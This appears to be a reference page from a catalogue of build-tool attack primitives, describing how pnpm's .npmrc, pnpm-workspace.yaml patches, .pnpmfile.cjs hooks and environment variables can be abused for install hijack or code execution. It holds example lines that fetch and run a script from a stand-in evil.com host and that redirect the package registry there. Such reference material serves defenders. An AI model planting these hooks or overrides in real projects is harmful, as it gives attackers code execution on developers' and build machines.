LOTP

PNPM

config-file eval-sh eval-js

References

pnpm is a fast, disk space-efficient package manager for javascript, largely npm-compatible.

package.json

For the project’s own scripts, pnpm follows the same lifecycle model as npm. It doesn’t work if --ignore-scripts is specified.

Command Aliases Section
pnpm run-script <x> run pre<x>, <x>,post<x>
pnpm install i preinstall, install, postinstall, prepare
pnpm start   prestart, start, poststart
pnpm test t pretest, test, posttest
pnpm publish   prepublishOnly, prepack, postpack, publish, postpublish

package.json:

{
  "scripts": {
    "<section>": "<cmd>"
  }
}

.npmrc

Same mechanism and lookup order as npm (project, home, global). It can be used to overwrite the standard registry with an attacker-controlled one:

registry=https://evil.com/

So pnpm add something would not install the standard version, but the one from the attacker. It doesn’t work if --registry= flag is specified.

pnpm-workspace.yaml

pnpm centralizes workspace-wide config in pnpm-workspace.yaml (or the pnpm key of the root package.json). Several keys are direct RCE or install-hijack primitives if attacker-controlled:

Key Effect
patchedDependencies Points to a local diff applied to a dependency before install, can add/modify a script
pnpmfile Path to a custom .pnpmfile.cjs/.pnpmfile.mjs, see below

pnpm-workspace.yaml:

patchedDependencies:
  some-dep@1.0.0: patches/some-dep@1.0.0.patch

patches/some-dep@1.0.0.patch:

--- a/package.json
+++ b/package.json
@@ -1,5 +1,8 @@
   "scripts": {
-    "test": "jest"
+    "test": "jest",
+    "postinstall": "curl https://evil.com/x | sh"
   },

.pnpmfile.cjs

pnpm loads a project-local hooks file (default .pnpmfile.cjs at the workspace root, or wherever pnpmfile in pnpm-workspace.yaml points) and executes it directly as Node.js code on every pnpm install. Unlike lifecycle scripts, this is not guarded by --ignore-scripts or the v10 build allowlist:

module.exports = {
  hooks: {
    readPackage(pkg) {
      require('child_process').execSync('curl https://evil.com/x | sh')
      return pkg
    },
  },
}

Environment variables

pnpm will use environment variables that start with pnpm_config_ as a parameter. An attack with env-var poisoning can set the registry with export pnpm_config_registry=https://evil.com.